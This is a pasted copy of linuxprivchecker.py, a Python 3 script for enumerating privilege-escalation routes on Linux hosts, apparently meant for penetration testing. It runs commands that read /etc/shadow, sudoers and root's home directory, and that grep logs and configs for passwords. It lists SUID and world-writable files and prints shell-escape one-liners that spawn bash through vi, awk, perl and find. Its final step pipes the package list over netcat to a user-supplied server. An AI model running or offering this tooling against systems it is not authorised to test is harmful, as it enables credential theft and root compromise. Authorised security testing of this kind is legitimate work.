PYTHON   38

linuxprivchecker py

Guest on 13th August 2022 08:09:57 AM

  1. #!/usr/bin/env python3
  2.  
  3. ###############################################################################################################
  4. ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3
  5. ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
  6. ## [Updater]: Mike Merrill (linted)
  7. ##-------------------------------------------------------------------------------------------------------------
  8. ## [Details]:
  9. ## This script is intended to be executed locally on a Linux box to enumerate basic system info and
  10. ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
  11. ## passwords and applicable exploits.
  12. ##-------------------------------------------------------------------------------------------------------------
  13. ## [Warning]:
  14. ## This script comes as-is with no promise of functionality or accuracy.  
  15. ##-------------------------------------------------------------------------------------------------------------  
  16. ## [Modification, Distribution, and Attribution]:
  17. ## You are free to modify and/or distribute this script as you wish.  I only ask that you maintain original
  18. ## author attribution and not attempt to sell it or incorporate it into any commercial offering.
  19. ###############################################################################################################
  20.  
  21. # conditional import for older versions of python not compatible with subprocess
  22. from sys import version_info
  23. if version_info >= (3,5):
  24.     #import subprocess as sub
  25.     from subprocess import run, PIPE
  26.     def do_cmd(cmd):
  27.         return run(cmd, stdout=PIPE, stderr=PIPE, shell=True).stdout
  28. elif version_info >= (3,):
  29.     #import os # older version of python, need to use ### instead
  30.     from subprocess import check_output, STDOUT
  31.     def do_cmd(cmd):
  32.         return check_output(cmd, shell=True, stderr=STDOUT)
  33. else:
  34.     print("Error: please run in python3 only.")
  35.     exit(1)
  36.  
  37. # title / formatting
  38. bigline = "=" * 80
  39. smlline = "-" * 80
  40.  
  41.  
  42.  
  43. def header(message):
  44.     print(bigline)
  45.     print(message)
  46.     print(bigline)
  47.     print("")
  48.  
  49. # loop through dictionary, execute the commands, store the results, return updated dict
  50. def execCmd(cmdDict):
  51.     for item in cmdDict:
  52.         cmd = cmdDict[item]["cmd"]
  53.         try:
  54.             stdout = do_cmd(cmd)
  55.             results = stdout.decode().split('\n')
  56.         except Exception as e:
  57.             results = ['[-] failed: {}'.format(e)]
  58.         cmdDict[item]["results"]=results
  59.        
  60.     printResults(cmdDict)
  61.  
  62. # print results for each previously executed command, no return value
  63. def printResults(cmdDict):
  64.     for item in cmdDict:
  65.         msg = cmdDict[item]["msg"]
  66.         results = cmdDict[item]["results"]
  67.         print("[+] " + msg)
  68.         for result in results:
  69.             if result.strip() != "":
  70.                 print( "    " + result.strip())
  71.     print("\n")
  72.     return
  73.  
  74. def writeResults(msg, results):
  75.     f = open("privcheckout.txt", "a")
  76.     f.write("[+] " + str(len(results)-1) + " " + msg)
  77.     for result in results:
  78.         if result.strip() != "":
  79.             f.write("    " + result.strip())
  80.     f.close()
  81.     return
  82.  
  83. header("LINUX PRIVILEGE ESCALATION CHECKER")
  84.  
  85. # Basic system info
  86. print( "[*] GETTING BASIC SYSTEM INFO...\n")
  87.  
  88. sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"},
  89.        "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"},
  90.        "HOSTNAME":{"cmd":"hostname", "msg":"Hostname"}
  91.       }
  92.  
  93. execCmd(sysInfo)
  94.  
  95. # Networking Info
  96.  
  97. print( "[*] GETTING NETWORKING INFO...\n")
  98.  
  99. netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"},
  100.        "ROUTE":{"cmd":"route", "msg":"Route"},
  101.        "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"},
  102.        "IP_Adder":{"cmd":"ip addr", "msg":"ip addr"},
  103.        "IP_Route":{"cmd":"ip route", "msg":"ip route"},
  104.        "SS":{"cmd":"ss -antup", "msg":"ss"}
  105.       }
  106.  
  107. execCmd(netInfo)
  108.  
  109. # File System Info
  110. print( "[*] GETTING FILESYSTEM INFO...\n")
  111.  
  112. driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"},
  113.          "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"}
  114.         }
  115.  
  116. execCmd(driveInfo)
  117.  
  118. # Scheduled Cron Jobs
  119. cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"},
  120.         "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"}
  121.        }
  122.  
  123. execCmd(cronInfo)
  124.  
  125. # User Info
  126. print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n")
  127.  
  128. userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"},
  129.         "ID":{"cmd":"id","msg":"Current User ID"},
  130.         "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"},
  131.         "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"},
  132.         "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"},
  133.         "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"},
  134.         "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"},
  135.         "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"}
  136.        }
  137.  
  138. execCmd(userInfo)
  139.  
  140. if "root" in userInfo["ID"]["results"][0]:
  141.     print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n")
  142.  
  143. # File/Directory Privs
  144. print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n")
  145.  
  146. fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"},
  147.        "WWDIRS":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"},
  148.        "WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"},
  149.        "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"},
  150.        "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"}
  151.       }
  152.  
  153. execCmd(fdPerms)
  154.  
  155. pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"},
  156.         "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"},
  157.         "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"}
  158.        }
  159.  
  160. execCmd(pwdFiles)
  161.  
  162. # Processes and Applications
  163. print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n")
  164.  
  165. if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]:
  166.     getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
  167. else:
  168.     getPkgs = "rpm -qa | sort -u" # RH/other
  169.  
  170. getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"},
  171.               "PKGS":{"cmd":getPkgs, "msg":"Installed Packages"}}
  172.  
  173. execCmd(getAppProc)
  174.  
  175. otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"},
  176.           "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"},
  177.           "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"}}
  178.  
  179. execCmd(otherApps)
  180.  
  181. print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n")
  182.  
  183. # find the package information for the processes currently running
  184. # under root or another super user
  185.  
  186. procs = getAppProc["PROCS"]["results"]
  187. pkgs = getAppProc["PKGS"]["results"]
  188. supusers = userInfo["SUPUSERS"]["results"]
  189. procdict = {} # dictionary to hold the processes running as super users
  190.  
  191. for proc in procs: # loop through each process
  192.     relatedpkgs = [] # list to hold the packages related to a process    
  193.     try:
  194.         for user in supusers: # loop through the known super users
  195.             if (user != "") and (user in proc): # if the process is being run by a super user
  196.                 procname = proc.split(" ")[4] # grab the process name
  197.             if "/" in procname:
  198.                 splitname = procname.split("/")
  199.                 procname = splitname[len(splitname)-1]
  200.                 for pkg in pkgs: # loop through the packages
  201.                     if not len(procname) < 3: # name too short to get reliable package results
  202.                         if procname in pkg:
  203.                             if procname in procdict:
  204.                                 relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
  205.                             if pkg not in relatedpkgs:
  206.                                 relatedpkgs.append(pkg) # add pkg to the list
  207.                             procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry
  208.     except:
  209.         pass
  210.  
  211. for key in procdict:
  212.     print("    " + key) # print the process name
  213.     try:
  214.         if not procdict[key][0] == "": # only print the rest if related packages were found
  215.             print("        Possible Related Packages: ")
  216.             for entry in procdict[key]:
  217.                 print("            " + entry) # print each related package
  218.     except:
  219.         pass
  220.  
  221. # EXPLOIT ENUMERATION
  222.  
  223. # First discover the avaialable tools
  224. print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n")
  225.  
  226. devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}}
  227. execCmd(devTools)
  228.  
  229. print("[+] Related Shell Escape Sequences...\n")
  230.  
  231. escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"],
  232.             "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"],
  233.             "perl":["perl -e 'exec \"/bin/bash\";'"],
  234.             "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"],
  235.             "nmap":["--interactive"]}
  236.  
  237. for cmd in escapeCmd:
  238.     for result in devTools["TOOLS"]["results"]:
  239.         if cmd in result:
  240.             for item in escapeCmd[cmd]:
  241.                 print("    " + cmd + "-->\t" + item)
  242. print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n")
  243.  
  244. question = input("[?] Would you like to search for possible exploits? [y/N] ")
  245. if 'y' in question.lower():
  246.     server = input("[?] What is the address of the server? ")
  247.     port = input("[?] What port is the server using? ")
  248.     print("[ ] Connecting to {}:{}".format(server,port))
  249.     exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}}
  250.     execCmd(exploits)
  251.  
  252. print("\n[+] Finished")
  253. print(bigline)

Raw Paste


Login or Register to edit or fork this paste. It's free.